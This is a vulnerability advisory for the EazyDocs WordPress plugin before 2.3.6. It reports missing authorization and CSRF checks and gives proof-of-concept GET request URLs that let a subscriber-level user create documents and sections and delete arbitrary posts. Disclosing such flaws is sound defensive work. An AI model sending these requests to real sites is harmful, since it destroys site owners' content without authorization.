EazyDocs < 2.3.6 - Subscriber+ Arbitrary Posts Deletion and Document Management

2023-12-2100:00:00

Dao Xuan Hieu

eazydocs plugin

subscriber

document management

get requests

arbitrary deletion

admin login

AI Score

6.8

Confidence

High

EPSS

0.001

Percentile

33.0%

JSON

Description The plugin does not have authorization and CSRF checks when handling documents and does not ensure that they are documents from the plugin, allowing any authenticated users, such as subscriber to delete arbitrary posts, as well as add and delete documents/sections.

1. Install the EazyDocs plugin
2. Log in as Subscriber
3. Make GET requests:
- To add a document : https://example.com/wp-admin/admin-post.php?Create_doc=yes&parent_title=doc%201
- To delete a post/document : https://example.com/wp-admin/admin-post.php?Doc_Delete=yes&DeleteID=12
- To add a section : https://example.com/wp-admin/admin-post.php?Create_Section=yes&parentID=90&is_section=sec%201
- To delete a section: https://example.com/wp-admin/admin-post.php?Section_Delete=yes&ID=110

When making requests, the page will redirect to the login page but the action is still completed, log in as Admin to check the result.